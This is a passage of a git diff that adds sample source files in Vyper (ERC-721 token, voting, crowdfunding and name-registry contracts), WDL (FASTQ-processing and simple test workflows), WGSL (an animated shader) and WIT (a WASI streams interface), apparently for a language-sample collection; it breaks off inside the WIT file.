index 0000000000..304a9a439e
--- /dev/null
+++ b/samples/Vyper/ERC721.vy
@@ -0,0 +1,362 @@
+# @dev Implementation of ERC-721 non-fungible token standard.
+# @author Ryuya Nakamura (@nrryuya)
+# Modified from: https://github.com/vyperlang/vyper/blob/de74722bf2d8718cca46902be165f9fe0e3641dd/examples/tokens/ERC721.vy
+
+from vyper.interfaces import ERC721
+
+implements: ERC721
+
+# Interface for the contract called by safeTransferFrom()
+interface ERC721Receiver:
+    def onERC721Received(
+            _operator: address,
+            _from: address,
+            _tokenId: uint256,
+            _data: Bytes[1024]
+        ) -> bytes32: view
+
+
+# @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are
+#      created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any
+#      number of NFTs may be created and assigned without emitting Transfer. At the time of any
+#      transfer, the approved address for that NFT (if any) is reset to none.
+# @param _from Sender of NFT (if address is zero address it indicates token creation).
+# @param _to Receiver of NFT (if address is zero address it indicates token destruction).
+# @param _tokenId The NFT that got transfered.
+event Transfer:
+    sender: indexed(address)
+    receiver: indexed(address)
+    tokenId: indexed(uint256)
+
+# @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero
+#      address indicates there is no approved address. When a Transfer event emits, this also
+#      indicates that the approved address for that NFT (if any) is reset to none.
+# @param _owner Owner of NFT.
+# @param _approved Address that we are approving.
+# @param _tokenId NFT which we are approving.
+event Approval:
+    owner: indexed(address)
+    approved: indexed(address)
+    tokenId: indexed(uint256)
+
+# @dev This emits when an operator is enabled or disabled for an owner. The operator can manage
+#      all NFTs of the owner.
+# @param _owner Owner of NFT.
+# @param _operator Address to which we are setting operator rights.
+# @param _approved Status of operator rights(true if operator rights are given and false if
+# revoked).
+event ApprovalForAll:
+    owner: indexed(address)
+    operator: indexed(address)
+    approved: bool
+
+
+# @dev Mapping from NFT ID to the address that owns it.
+idToOwner: HashMap[uint256, address]
+
+# @dev Mapping from NFT ID to approved address.
+idToApprovals: HashMap[uint256, address]
+
+# @dev Mapping from owner address to count of his tokens.
+ownerToNFTokenCount: HashMap[address, uint256]
+
+# @dev Mapping from owner address to mapping of operator addresses.
+ownerToOperators: HashMap[address, HashMap[address, bool]]
+
+# @dev Address of minter, who can mint a token
+minter: address
+
+# @dev Mapping of interface id to bool about whether or not it's supported
+supportedInterfaces: HashMap[bytes32, bool]
+
+# @dev ERC165 interface ID of ERC165
+ERC165_INTERFACE_ID: constant(bytes32) = 0x0000000000000000000000000000000000000000000000000000000001ffc9a7
+
+# @dev ERC165 interface ID of ERC721
+ERC721_INTERFACE_ID: constant(bytes32) = 0x0000000000000000000000000000000000000000000000000000000080ac58cd
+
+
+@external
+def __init__():
+    """
+    @dev Contract constructor.
+    """
+    self.supportedInterfaces[ERC165_INTERFACE_ID] = True
+    self.supportedInterfaces[ERC721_INTERFACE_ID] = True
+    self.minter = msg.sender
+
+
+@view
+@external
+def supportsInterface(_interfaceID: bytes32) -> bool:
+    """
+    @dev Interface identification is specified in ERC-165.
+    @param _interfaceID Id of the interface
+    """
+    return self.supportedInterfaces[_interfaceID]
+
+
+### VIEW FUNCTIONS ###
+
+@view
+@external
+def balanceOf(_owner: address) -> uint256:
+    """
+    @dev Returns the number of NFTs owned by `_owner`.
+         Throws if `_owner` is the zero address. NFTs assigned to the zero address are considered invalid.
+    @param _owner Address for whom to query the balance.
+    """
+    assert _owner != ZERO_ADDRESS
+    return self.ownerToNFTokenCount[_owner]
+
+
+@view
+@external
+def ownerOf(_tokenId: uint256) -> address:
+    """
+    @dev Returns the address of the owner of the NFT.
+         Throws if `_tokenId` is not a valid NFT.
+    @param _tokenId The identifier for an NFT.
+    """
+    owner: address = self.idToOwner[_tokenId]
+    # Throws if `_tokenId` is not a valid NFT
+    assert owner != ZERO_ADDRESS
+    return owner
+
+
+@view
+@external
+def getApproved(_tokenId: uint256) -> address:
+    """
+    @dev Get the approved address for a single NFT.
+         Throws if `_tokenId` is not a valid NFT.
+    @param _tokenId ID of the NFT to query the approval of.
+    """
+    # Throws if `_tokenId` is not a valid NFT
+    assert self.idToOwner[_tokenId] != ZERO_ADDRESS
+    return self.idToApprovals[_tokenId]
+
+
+@view
+@external
+def isApprovedForAll(_owner: address, _operator: address) -> bool:
+    """
+    @dev Checks if `_operator` is an approved operator for `_owner`.
+    @param _owner The address that owns the NFTs.
+    @param _operator The address that acts on behalf of the owner.
+    """
+    return (self.ownerToOperators[_owner])[_operator]
+
+
+### TRANSFER FUNCTION HELPERS ###
+
+@view
+@internal
+def _isApprovedOrOwner(_spender: address, _tokenId: uint256) -> bool:
+    """
+    @dev Returns whether the given spender can transfer a given token ID
+    @param spender address of the spender to query
+    @param tokenId uint256 ID of the token to be transferred
+    @return bool whether the msg.sender is approved for the given token ID,
+        is an operator of the owner, or is the owner of the token
+    """
+    owner: address = self.idToOwner[_tokenId]
+    spenderIsOwner: bool = owner == _spender
+    spenderIsApproved: bool = _spender == self.idToApprovals[_tokenId]
+    spenderIsApprovedForAll: bool = (self.ownerToOperators[owner])[_spender]
+    return (spenderIsOwner or spenderIsApproved) or spenderIsApprovedForAll
+
+
+@internal
+def _addTokenTo(_to: address, _tokenId: uint256):
+    """
+    @dev Add a NFT to a given address
+         Throws if `_tokenId` is owned by someone.
+    """
+    # Throws if `_tokenId` is owned by someone
+    assert self.idToOwner[_tokenId] == ZERO_ADDRESS
+    # Change the owner
+    self.idToOwner[_tokenId] = _to
+    # Change count tracking
+    self.ownerToNFTokenCount[_to] += 1
+
+
+@internal
+def _removeTokenFrom(_from: address, _tokenId: uint256):
+    """
+    @dev Remove a NFT from a given address
+         Throws if `_from` is not the current owner.
+    """
+    # Throws if `_from` is not the current owner
+    assert self.idToOwner[_tokenId] == _from
+    # Change the owner
+    self.idToOwner[_tokenId] = ZERO_ADDRESS
+    # Change count tracking
+    self.ownerToNFTokenCount[_from] -= 1
+
+
+@internal
+def _clearApproval(_owner: address, _tokenId: uint256):
+    """
+    @dev Clear an approval of a given address
+         Throws if `_owner` is not the current owner.
+    """
+    # Throws if `_owner` is not the current owner
+    assert self.idToOwner[_tokenId] == _owner
+    if self.idToApprovals[_tokenId] != ZERO_ADDRESS:
+        # Reset approvals
+        self.idToApprovals[_tokenId] = ZERO_ADDRESS
+
+
+@internal
+def _transferFrom(_from: address, _to: address, _tokenId: uint256, _sender: address):
+    """
+    @dev Exeute transfer of a NFT.
+         Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
+         address for this NFT. (NOTE: `msg.sender` not allowed in private function so pass `_sender`.)
+         Throws if `_to` is the zero address.
+         Throws if `_from` is not the current owner.
+         Throws if `_tokenId` is not a valid NFT.
+    """
+    # Check requirements
+    assert self._isApprovedOrOwner(_sender, _tokenId)
+    # Throws if `_to` is the zero address
+    assert _to != ZERO_ADDRESS
+    # Clear approval. Throws if `_from` is not the current owner
+    self._clearApproval(_from, _tokenId)
+    # Remove NFT. Throws if `_tokenId` is not a valid NFT
+    self._removeTokenFrom(_from, _tokenId)
+    # Add NFT
+    self._addTokenTo(_to, _tokenId)
+    # Log the transfer
+    log Transfer(_from, _to, _tokenId)
+
+
+### TRANSFER FUNCTIONS ###
+
+@external
+def transferFrom(_from: address, _to: address, _tokenId: uint256):
+    """
+    @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
+         address for this NFT.
+         Throws if `_from` is not the current owner.
+         Throws if `_to` is the zero address.
+         Throws if `_tokenId` is not a valid NFT.
+    @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
+            they maybe be permanently lost.
+    @param _from The current owner of the NFT.
+    @param _to The new owner.
+    @param _tokenId The NFT to transfer.
+    """
+    self._transferFrom(_from, _to, _tokenId, msg.sender)
+
+
+@external
+def safeTransferFrom(
+        _from: address,
+        _to: address,
+        _tokenId: uint256,
+        _data: Bytes[1024]=b""
+    ):
+    """
+    @dev Transfers the ownership of an NFT from one address to another address.
+         Throws unless `msg.sender` is the current owner, an authorized operator, or the
+         approved address for this NFT.
+         Throws if `_from` is not the current owner.
+         Throws if `_to` is the zero address.
+         Throws if `_tokenId` is not a valid NFT.
+         If `_to` is a smart contract, it calls `onERC721Received` on `_to` and throws if
+         the return value is not `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
+         NOTE: bytes4 is represented by bytes32 with padding
+    @param _from The current owner of the NFT.
+    @param _to The new owner.
+    @param _tokenId The NFT to transfer.
+    @param _data Additional data with no specified format, sent in call to `_to`.
+    """
+    self._transferFrom(_from, _to, _tokenId, msg.sender)
+    if _to.is_contract: # check if `_to` is a contract address
+        returnValue: bytes32 = ERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data)
+        # Throws if transfer destination is a contract which does not implement 'onERC721Received'
+        assert returnValue == method_id("onERC721Received(address,address,uint256,bytes)", output_type=bytes32)
+
+
+@external
+def approve(_approved: address, _tokenId: uint256):
+    """
+    @dev Set or reaffirm the approved address for an NFT. The zero address indicates there is no approved address.
+         Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner.
+         Throws if `_tokenId` is not a valid NFT. (NOTE: This is not written the EIP)
+         Throws if `_approved` is the current owner. (NOTE: This is not written the EIP)
+    @param _approved Address to be approved for the given NFT ID.
+    @param _tokenId ID of the token to be approved.
+    """
+    owner: address = self.idToOwner[_tokenId]
+    # Throws if `_tokenId` is not a valid NFT
+    assert owner != ZERO_ADDRESS
+    # Throws if `_approved` is the current owner
+    assert _approved != owner
+    # Check requirements
+    senderIsOwner: bool = self.idToOwner[_tokenId] == msg.sender
+    senderIsApprovedForAll: bool = (self.ownerToOperators[owner])[msg.sender]
+    assert (senderIsOwner or senderIsApprovedForAll)
+    # Set the approval
+    self.idToApprovals[_tokenId] = _approved
+    log Approval(owner, _approved, _tokenId)
+
+
+@external
+def setApprovalForAll(_operator: address, _approved: bool):
+    """
+    @dev Enables or disables approval for a third party ("operator") to manage all of
+         `msg.sender`'s assets. It also emits the ApprovalForAll event.
+         Throws if `_operator` is the `msg.sender`. (NOTE: This is not written the EIP)
+    @notice This works even if sender doesn't own any tokens at the time.
+    @param _operator Address to add to the set of authorized operators.
+    @param _approved True if the operators is approved, false to revoke approval.
+    """
+    # Throws if `_operator` is the `msg.sender`
+    assert _operator != msg.sender
+    self.ownerToOperators[msg.sender][_operator] = _approved
+    log ApprovalForAll(msg.sender, _operator, _approved)
+
+
+### MINT & BURN FUNCTIONS ###
+
+@external
+def mint(_to: address, _tokenId: uint256) -> bool:
+    """
+    @dev Function to mint tokens
+         Throws if `msg.sender` is not the minter.
+         Throws if `_to` is zero address.
+         Throws if `_tokenId` is owned by someone.
+    @param _to The address that will receive the minted tokens.
+    @param _tokenId The token id to mint.
+    @return A boolean that indicates if the operation was successful.
+    """
+    # Throws if `msg.sender` is not the minter
+    assert msg.sender == self.minter
+    # Throws if `_to` is zero address
+    assert _to != ZERO_ADDRESS
+    # Add NFT. Throws if `_tokenId` is owned by someone
+    self._addTokenTo(_to, _tokenId)
+    log Transfer(ZERO_ADDRESS, _to, _tokenId)
+    return True
+
+
+@external
+def burn(_tokenId: uint256):
+    """
+    @dev Burns a specific ERC721 token.
+         Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
+         address for this NFT.
+         Throws if `_tokenId` is not a valid NFT.
+    @param _tokenId uint256 id of the ERC721 token to be burned.
+    """
+    # Check requirements
+    assert self._isApprovedOrOwner(msg.sender, _tokenId)
+    owner: address = self.idToOwner[_tokenId]
+    # Throws if `_tokenId` is not a valid NFT
+    assert owner != ZERO_ADDRESS
+    self._clearApproval(owner, _tokenId)
+    self._removeTokenFrom(owner, _tokenId)
+    log Transfer(owner, ZERO_ADDRESS, _tokenId)
diff --git a/samples/Vyper/ballot.vy b/samples/Vyper/ballot.vy
new file mode 100644
index 0000000000..0ac828be1b
--- /dev/null
+++ b/samples/Vyper/ballot.vy
@@ -0,0 +1,178 @@
+# Voting with delegation.
+
+# Information about voters
+struct Voter:
+    # weight is accumulated by delegation
+    weight: int128
+    # if true, that person already voted (which includes voting by delegating)
+    voted: bool
+    # person delegated to
+    delegate: address
+    # index of the voted proposal, which is not meaningful unless `voted` is True.
+    vote: int128
+
+# Users can create proposals
+struct Proposal:
+    # short name (up to 32 bytes)
+    name: bytes32
+    # number of accumulated votes
+    voteCount: int128
+
+voters: public(HashMap[address, Voter])
+proposals: public(HashMap[int128, Proposal])
+voterCount: public(int128)
+chairperson: public(address)
+int128Proposals: public(int128)
+
+
+@view
+@internal
+def _delegated(addr: address) -> bool:
+    return self.voters[addr].delegate != ZERO_ADDRESS
+
+
+@view
+@external
+def delegated(addr: address) -> bool:
+    return self._delegated(addr)
+
+
+@view
+@internal
+def _directlyVoted(addr: address) -> bool:
+    return self.voters[addr].voted and (self.voters[addr].delegate == ZERO_ADDRESS)
+
+
+@view
+@external
+def directlyVoted(addr: address) -> bool:
+    return self._directlyVoted(addr)
+
+
+# Setup global variables
+@external
+def __init__(_proposalNames: bytes32[2]):
+    self.chairperson = msg.sender
+    self.voterCount = 0
+    for i in range(2):
+        self.proposals[i] = Proposal({
+            name: _proposalNames[i],
+            voteCount: 0
+        })
+        self.int128Proposals += 1
+
+# Give a `voter` the right to vote on this ballot.
+# This may only be called by the `chairperson`.
+@external
+def giveRightToVote(voter: address):
+    # Throws if the sender is not the chairperson.
+    assert msg.sender == self.chairperson
+    # Throws if the voter has already voted.
+    assert not self.voters[voter].voted
+    # Throws if the voter's voting weight isn't 0.
+    assert self.voters[voter].weight == 0
+    self.voters[voter].weight = 1
+    self.voterCount += 1
+
+# Used by `delegate` below, callable externally via `forwardWeight`
+@internal
+def _forwardWeight(delegate_with_weight_to_forward: address):
+    assert self._delegated(delegate_with_weight_to_forward)
+    # Throw if there is nothing to do:
+    assert self.voters[delegate_with_weight_to_forward].weight > 0
+
+    target: address = self.voters[delegate_with_weight_to_forward].delegate
+    for i in range(4):
+        if self._delegated(target):
+            target = self.voters[target].delegate
+            # The following effectively detects cycles of length <= 5,
+            # in which the delegation is given back to the delegator.
+            # This could be done for any int128ber of loops,
+            # or even infinitely with a while loop.
+            # However, cycles aren't actually problematic for correctness;
+            # they just result in spoiled votes.
+            # So, in the production version, this should instead be
+            # the responsibility of the contract's client, and this
+            # check should be removed.
+            assert target != delegate_with_weight_to_forward
+        else:
+            # Weight will be moved to someone who directly voted or
+            # hasn't voted.
+            break
+
+    weight_to_forward: int128 = self.voters[delegate_with_weight_to_forward].weight
+    self.voters[delegate_with_weight_to_forward].weight = 0
+    self.voters[target].weight += weight_to_forward
+
+    if self._directlyVoted(target):
+        self.proposals[self.voters[target].vote].voteCount += weight_to_forward
+        self.voters[target].weight = 0
+
+    # To reiterate: if target is also a delegate, this function will need
+    # to be called again, similarly to as above.
+
+# Public function to call _forwardWeight
+@external
+def forwardWeight(delegate_with_weight_to_forward: address):
+    self._forwardWeight(delegate_with_weight_to_forward)
+
+# Delegate your vote to the voter `to`.
+@external
+def delegate(to: address):
+    # Throws if the sender has already voted
+    assert not self.voters[msg.sender].voted
+    # Throws if the sender tries to delegate their vote to themselves or to
+    # the default address value of 0x0000000000000000000000000000000000000000
+    # (the latter might not be problematic, but I don't want to think about it).
+    assert to != msg.sender
+    assert to != ZERO_ADDRESS
+
+    self.voters[msg.sender].voted = True
+    self.voters[msg.sender].delegate = to
+
+    # This call will throw if and only if this delegation would cause a loop
+        # of length <= 5 that ends up delegating back to the delegator.
+    self._forwardWeight(msg.sender)
+
+# Give your vote (including votes delegated to you)
+# to proposal `proposals[proposal].name`.
+@external
+def vote(proposal: int128):
+    # can't vote twice
+    assert not self.voters[msg.sender].voted
+    # can only vote on legitimate proposals
+    assert proposal < self.int128Proposals
+
+    self.voters[msg.sender].vote = proposal
+    self.voters[msg.sender].voted = True
+
+    # transfer msg.sender's weight to proposal
+    self.proposals[proposal].voteCount += self.voters[msg.sender].weight
+    self.voters[msg.sender].weight = 0
+
+# Computes the winning proposal taking all
+# previous votes into account.
+@view
+@internal
+def _winningProposal() -> int128:
+    winning_vote_count: int128 = 0
+    winning_proposal: int128 = 0
+    for i in range(2):
+        if self.proposals[i].voteCount > winning_vote_count:
+            winning_vote_count = self.proposals[i].voteCount
+            winning_proposal = i
+    return winning_proposal
+
+@view
+@external
+def winningProposal() -> int128:
+    return self._winningProposal()
+
+
+# Calls winningProposal() function to get the index
+# of the winner contained in the proposals array and then
+# returns the name of the winner
+@view
+@external
+def winnerName() -> bytes32:
+    return self.proposals[self._winningProposal()].name
diff --git a/samples/Vyper/crowdfund.vy b/samples/Vyper/crowdfund.vy
new file mode 100644
index 0000000000..c60e6835d5
--- /dev/null
+++ b/samples/Vyper/crowdfund.vy
@@ -0,0 +1,61 @@
+# Setup private variables (only callable from within the contract)
+
+struct Funder :
+  sender: address
+  value: wei_value
+
+funders: map(int128, Funder)
+nextFunderIndex: int128
+beneficiary: address
+deadline: public(timestamp)
+goal: public(wei_value)
+refundIndex: int128
+timelimit: public(timedelta)
+
+
+# Setup global variables
+@public
+def __init__(_beneficiary: address, _goal: wei_value, _timelimit: timedelta):
+    self.beneficiary = _beneficiary
+    self.deadline = block.timestamp + _timelimit
+    self.timelimit = _timelimit
+    self.goal = _goal
+
+
+# Participate in this crowdfunding campaign
+@public
+@payable
+def participate():
+    assert block.timestamp < self.deadline, "deadline not met (yet)"
+
+    nfi: int128 = self.nextFunderIndex
+
+    self.funders[nfi] = Funder({sender: msg.sender, value: msg.value})
+    self.nextFunderIndex = nfi + 1
+
+
+# Enough money was raised! Send funds to the beneficiary
+@public
+def finalize():
+    assert block.timestamp >= self.deadline, "deadline not met (yet)"
+    assert self.balance >= self.goal, "invalid balance"
+
+    selfdestruct(self.beneficiary)
+
+# Not enough money was raised! Refund everyone (max 30 people at a time
+# to avoid gas limit issues)
+@public
+def refund():
+    assert block.timestamp >= self.deadline and self.balance < self.goal
+
+    ind: int128 = self.refundIndex
+
+    for i in range(ind, ind + 30):
+        if i >= self.nextFunderIndex:
+            self.refundIndex = self.nextFunderIndex
+            return
+
+        send(self.funders[i].sender, self.funders[i].value)
+        clear(self.funders[i])
+
+    self.refundIndex = ind + 30
diff --git a/samples/Vyper/name_registry.vy b/samples/Vyper/name_registry.vy
new file mode 100644
index 0000000000..0501a4fe13
--- /dev/null
+++ b/samples/Vyper/name_registry.vy
@@ -0,0 +1,13 @@
+
+registry: HashMap[Bytes[100], address]
+
+@external
+def register(name: Bytes[100], owner: address):
+    assert self.registry[name] == ZERO_ADDRESS  # check name has not been set yet.
+    self.registry[name] = owner
+
+
+@view
+@external
+def lookup(name: Bytes[100]) -> address:
+    return self.registry[name]
diff --git a/samples/WDL/fq.wdl b/samples/WDL/fq.wdl
new file mode 100644
index 0000000000..8e72646632
--- /dev/null
+++ b/samples/WDL/fq.wdl
@@ -0,0 +1,180 @@
+## This example is copied from
+## https://github.com/stjudecloud/workflows/blob/833b97fb582fe7d4f6df9d29a645d0289f1fc92e/tools/fq.wdl.
+##
+## It is available under the MIT license.
+##
+## [Homepage](https://github.com/stjude-rust-labs/fq)
+
+version 1.1
+
+task fqlint {
+    meta {
+        description: "Performs quality control on the input FASTQs to ensure proper formatting"
+        outputs: {
+            check: "A string indicating whether the input FASTQs passed validation"
+        }
+    }
+
+    parameter_meta {
+        read_one_fastq: {
+            description: "Input FASTQ with read one. Can be gzipped or uncompressed.",
+            stream: true
+        }
+        read_two_fastq: {
+            description: "Input FASTQ with read two. Can be gzipped or uncompressed.",
+            stream: true
+        }
+        disable_validator_codes: {
+            description: "Array of codes to disable specific validators",
+            choices: {
+                S001: "Plus line starts with a '+'",
+                S002: "All characters in sequence line are one of 'ACGTN', case-insensitive",
+                S003: "Name line starts with an '@'",
+                S004: "All four record lines (name, sequence, plus line, and quality) are present",
+                S005: "Sequence and quality lengths are the same",
+                S006: "All characters in quality line are between '!' and '~' (ordinal values)",
+                S007: "All record names are unique",
+                P001: "Each paired read name is the same, excluding interleave"
+            }
+        }
+        single_read_validation_level: {
+            description: "Only use single read validators up to a given level",
+            choices: [
+                "low",
+                "medium",
+                "high"
+            ]
+        }
+        paired_read_validation_level: {
+            description: "Only use paired read validators up to a given level",
+            choices: [
+                "low",
+                "medium",
+                "high"
+            ]
+        }
+        panic: {
+            description: "Panic on first error (true) or log all errors (false)?",
+            common: true
+        }
+        modify_memory_gb: "Add to or subtract from dynamic memory allocation. Default memory is determined by the size of the inputs. Specified in GB."
+        modify_disk_size_gb: "Add to or subtract from dynamic disk space allocation. Default disk size is determined by the size of the inputs. Specified in GB."
+    }
+
+    input {
+        File read_one_fastq
+        File? read_two_fastq
+        Array[String] disable_validator_codes = []
+        String single_read_validation_level = "high"
+        String paired_read_validation_level = "high"
+        Boolean panic = true
+        Int modify_memory_gb = 0
+        Int modify_disk_size_gb = 0
+    }
+
+    Float read1_size = size(read_one_fastq, "GiB")
+    Float read2_size = size(read_two_fastq, "GiB")
+
+    Int memory_gb = (
+        ceil((read1_size + read2_size) * 0.25) + 4 + modify_memory_gb
+    )
+
+    Int disk_size_gb = ceil((read1_size + read2_size) * 2) + modify_disk_size_gb
+
+    command <<<
+        fq lint \
+            ~{sep(" ", prefix("--disable-validator ", disable_validator_codes))} \
+            --single-read-validation-level ~{single_read_validation_level} \
+            --paired-read-validation-level ~{paired_read_validation_level} \
+            --lint-mode ~{if panic then "panic" else "log"} \
+            ~{read_one_fastq} \
+            ~{read_two_fastq}
+    >>>
+
+    output {
+        String check = "passed"
+    }
+
+    runtime {
+        memory: "~{memory_gb} GB"
+        disks: "~{disk_size_gb} GB"
+        container: "quay.io/biocontainers/fq:0.11.0--h9ee0642_0"
+        maxRetries: 1
+    }
+}
+
+task subsample {
+    meta {
+        description: "Subsamples the input FASTQ(s)"
+        outputs: {
+            subsampled_read1: "Gzipped FASTQ file containing subsampled read1",
+            subsampled_read2: "Gzipped FASTQ file containing subsampled read2"
+        }
+    }
+
+    parameter_meta {
+        read_one_fastq: "Input FASTQ with read one. Can be gzipped or uncompressed."
+        read_two_fastq: "Input FASTQ with read two. Can be gzipped or uncompressed."
+        prefix: "Prefix for the output FASTQ file(s). The extension `_R1.subsampled.fastq.gz` and `_R2.subsampled.fastq.gz` will be added."
+        probability: {
+            description: "The probability a record is kept, as a decimal (0.0, 1.0). Cannot be used with `record-count`. Any `probability<=0.0` or `probability>=1.0` to disable.",
+            common: true
+        }
+        record_count: {
+            description: "The exact number of records to keep. Cannot be used with `probability`. Any `record_count<=0` to disable.",
+            common: true
+        }
+        modify_disk_size_gb: "Add to or subtract from dynamic disk space allocation. Default disk size is determined by the size of the inputs. Specified in GB."
+    }
+
+    input {
+        File read_one_fastq
+        File? read_two_fastq
+        String prefix = sub(
+            basename(read_one_fastq),
+            "([_\\.][rR][12])?(\\.subsampled)?\\.(fastq|fq)(\\.gz)?$",
+            ""
+        )
+        Float probability = 1.0
+        Int record_count = -1
+        Int modify_disk_size_gb = 0
+    }
+
+    Float read1_size = size(read_one_fastq, "GiB")
+    Float read2_size = size(read_two_fastq, "GiB")
+
+    Int disk_size_gb = ceil((read1_size + read2_size) * 2) + modify_disk_size_gb
+
+    String probability_arg = if (probability < 1.0 && probability > 0)
+        then "-p ~{probability}"
+        else ""
+    String record_count_arg = if (record_count > 0) then "-n ~{record_count}" else ""
+
+    String r1_dst = prefix + "_R1.subsampled.fastq.gz"
+    String r2_dst = prefix + "_R2.subsampled.fastq.gz"
+
+    command <<<
+        fq subsample \
+            ~{probability_arg} \
+            ~{record_count_arg} \
+            --r1-dst ~{r1_dst} \
+            ~{if defined(read_two_fastq)
+                then "--r2-dst " + r2_dst
+                else ""
+            } \
+            ~{read_one_fastq} \
+            ~{read_two_fastq}
+    >>>
+
+    output {
+        File subsampled_read1 = prefix + "_R1.subsampled.fastq.gz"
+        File? subsampled_read2 = prefix + "_R2.subsampled.fastq.gz"
+    }
+
+    runtime {
+        memory: "4 GB"
+        disks: "~{disk_size_gb} GB"
+        container: "quay.io/biocontainers/fq:0.11.0--h9ee0642_0"
+        maxRetries: 1
+    }
+}
diff --git a/samples/WDL/hello.wdl b/samples/WDL/hello.wdl
new file mode 100644
index 0000000000..7671ce0671
--- /dev/null
+++ b/samples/WDL/hello.wdl
@@ -0,0 +1,21 @@
+# Sample originally from https://github.com/broadinstitute/centaur
+
+task hello {
+  String addressee
+  command {
+    echo "Hello ${addressee}!"
+  }
+  output {
+    String salutation = read_string(stdout())
+  }
+  runtime {
+    docker: "ubuntu@sha256:71cd81252a3563a03ad8daee81047b62ab5d892ebbfbf71cf53415f29c130950"
+  }
+}
+
+workflow wf_hello {
+  call hello
+  output {
+     hello.salutation
+  }
+}
diff --git a/samples/WDL/ifs_in_scatters.wdl b/samples/WDL/ifs_in_scatters.wdl
new file mode 100644
index 0000000000..1a41f23105
--- /dev/null
+++ b/samples/WDL/ifs_in_scatters.wdl
@@ -0,0 +1,44 @@
+# Sample originally from https://github.com/broadinstitute/centaur
+
+task validate_int {
+  Int i
+  command {
+    echo $(( ${i} % 2 ))
+  }
+  output {
+    Boolean validation = read_int(stdout()) == 1
+  }
+  runtime {
+    docker: "ubuntu:latest"
+  }
+}
+
+task mirror {
+  Int i
+  command {
+    echo ${i}
+  }
+  output {
+    Int out = read_int(stdout())
+  }
+  runtime {
+    docker: "ubuntu:latest"
+  }
+}
+
+workflow ifs_in_scatters {
+  Array[Int] numbers = range(5)
+
+  scatter (n in numbers) {
+
+    call validate_int { input: i = n }
+    if (validate_int.validation) {
+      Int incremented = n + 1
+      call mirror { input: i = incremented }
+    }
+  }
+
+  output {
+    Array[Int?] mirrors = mirror.out
+  }
+}
diff --git a/samples/WDL/passingfiles.wdl b/samples/WDL/passingfiles.wdl
new file mode 100644
index 0000000000..09169af354
--- /dev/null
+++ b/samples/WDL/passingfiles.wdl
@@ -0,0 +1,42 @@
+# Sample originally from https://github.com/broadinstitute/centaur
+
+##
+# Check that we can:
+# - Create a file from a task and feed it into subsequent commands.
+# - Create a file output by interpolating a file name
+# - Use engine functions on an interpolated file name
+##
+
+task mkFile {
+  command { 
+    echo "small file contents" > out.txt
+  }
+  output { File out = "out.txt" }
+  runtime { docker: "ubuntu:latest" }
+}
+
+task consumeFile {
+  File in_file
+  String out_name
+
+  command {
+    cat ${in_file} > ${out_name}
+  }
+  runtime {
+    docker: "ubuntu:latest"
+  }
+  output {
+    File out_interpolation = "${out_name}"
+    String contents = read_string("${out_name}")
+    String contentsAlt = read_string(out_interpolation)
+  }
+}
+
+workflow filepassing {
+  call mkFile
+  call consumeFile {input: in_file=mkFile.out, out_name = "myFileName.abc.txt" }
+  output {
+      consumeFile.contents
+      consumeFile.contentsAlt
+  }
+}
diff --git a/samples/WGSL/animate_shader.wgsl b/samples/WGSL/animate_shader.wgsl
new file mode 100644
index 0000000000..766d0ddeda
--- /dev/null
+++ b/samples/WGSL/animate_shader.wgsl
@@ -0,0 +1,47 @@
+#import bevy_pbr::mesh_types
+// The time since startup data is in the globals binding which is part of the mesh_view_bindings import
+#import bevy_pbr::mesh_view_bindings
+
+fn oklab_to_linear_srgb(c: vec3<f32>) -> vec3<f32> {
+    let L = c.x;
+    let a = c.y;
+    let b = c.z;
+
+    let l_ = L + 0.3963377774 * a + 0.2158037573 * b;
+    let m_ = L - 0.1055613458 * a - 0.0638541728 * b;
+    let s_ = L - 0.0894841775 * a - 1.2914855480 * b;
+
+    let l = l_ * l_ * l_;
+    let m = m_ * m_ * m_;
+    let s = s_ * s_ * s_;
+
+    return vec3<f32>(
+        4.0767416621 * l - 3.3077115913 * m + 0.2309699292 * s,
+        -1.2684380046 * l + 2.6097574011 * m - 0.3413193965 * s,
+        -0.0041960863 * l - 0.7034186147 * m + 1.7076147010 * s,
+    );
+}
+
+struct FragmentInput {
+    #import bevy_pbr::mesh_vertex_output
+}
+
+@fragment
+fn fragment(in: FragmentInput) -> @location(0) vec4<f32> {
+    let speed = 2.0;
+    // The globals binding contains various global values like time
+    // which is the time since startup in seconds
+    let t_1 = sin(globals.time * speed) * 0.5 + 0.5;
+    let t_2 = cos(globals.time * speed);
+
+    let distance_to_center = distance(in.uv, vec2<f32>(0.5)) * 1.4;
+
+    // blending is done in a perceptual color space: https://bottosson.github.io/posts/oklab/
+    let red = vec3<f32>(0.627955, 0.224863, 0.125846);
+    let green = vec3<f32>(0.86644, -0.233887, 0.179498);
+    let blue = vec3<f32>(0.701674, 0.274566, -0.169156);
+    let white = vec3<f32>(1.0, 0.0, 0.0);
+    let mixed = mix(mix(red, blue, t_1), mix(green, white, t_2), distance_to_center);
+
+    return vec4<f32>(oklab_to_linear_srgb(mixed), 1.0);
+}
\ No newline at end of file
diff --git a/samples/WebAssembly Interface Type/wasi-io.wit b/samples/WebAssembly Interface Type/wasi-io.wit
new file mode 100644
index 0000000000..f3c9c8e91a
--- /dev/null
+++ b/samples/WebAssembly Interface Type/wasi-io.wit	
@@ -0,0 +1,259 @@
+// From: https://github.com/WebAssembly/wasi-io/tree/e6bcf18ac5e2d2deee5016fc4b6e260fc14d4bdc/wit 
+
+default world example-world {
+    import streams: self.streams
+}
+
+/// WASI I/O is an I/O abstraction API which is currently focused on providing
+/// stream types.
+///
+/// In the future, the component model is expected to add built-in stream types;
+/// when it does, they are expected to subsume this API.
+default interface streams {
+    use self.poll.{pollable}
+
+    /// An error type returned from a stream operation. Currently this
+    /// doesn't provide any additional information.
+    record stream-error {}
+
+    /// An input bytestream. In the future, this will be replaced by handle
+    /// types.
+    ///
+    /// This conceptually represents a `stream<u8, _>`. It's temporary
+    /// scaffolding until component-model's async features are ready.
+    ///
+    /// `input-stream`s are *non-blocking* to the extent practical on underlying
+    /// platforms. I/O operations always return promptly; if fewer bytes are
+    /// promptly available than requested, they return the number of bytes promptly
